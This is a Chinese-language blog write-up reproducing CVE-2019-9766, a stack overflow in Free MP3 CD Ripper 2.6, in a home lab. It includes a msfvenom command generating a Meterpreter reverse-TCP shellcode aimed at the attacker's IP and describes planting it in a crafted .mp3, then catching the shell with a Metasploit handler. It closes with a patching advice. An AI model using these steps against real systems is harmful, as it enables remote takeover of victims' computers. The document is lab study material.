(CVE-2019-9766)Free MP3 CD Ripper缓冲区溢出远程代码执行漏洞复现

漏洞简介：

Free MP3 CD Ripper是一款音频格式转换器。
Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码。

威胁类型

远程代码执行

威胁等级

高

漏洞编号

CVE-2019-9766
受影响系统及应用版本
Free MP3 CD Ripper 2.6

漏洞复现：

攻击机：kali2020 、kali2019
ip：192.168.6.146
受害机：win10
ip：192.168.6.142
安装Free MP3 CD Ripper 2.6版本

1、搭建环境

Win10下载安装Free MP3 CD Ripper 2.6版本

利用msf生成反向连接的shellcode

msfvenom -p windows / meterpreter / reverse_tcp lhost = 192.168.6.146 lport = 888 -fc --smallest

替换脚本中的shellcode.

编写生成.Mp3文件的脚本

运行脚本，生成一个.MP3的文件

将生成的.mp3文件放到win10上（需要VMtools）

kali开启msfconsole

使用exploit/multi/handler模块
设置lhost,lport,攻击载荷

Kali开启监听：

Win10使用free MP3 CD ripper 打开mp3文件

弹回shell

执行命令

漏洞利用成功

PS：说一个我踩的坑吧，真的头一次遇到这种情况：

进攻利用攻击机需要用kali2019版本，2020版本不可以利用。用2020试了好多遍都没有成功，最后鬼使神差的用了2019就成功了。有遇到过这样的情况的大佬分享一下经验吗。

2、修复建议v

及时更新Free MP3 CD Ripper到最新版本

参考链接：https : //blog.youkuaiyun.com/weixin_46132680/article/details/104366335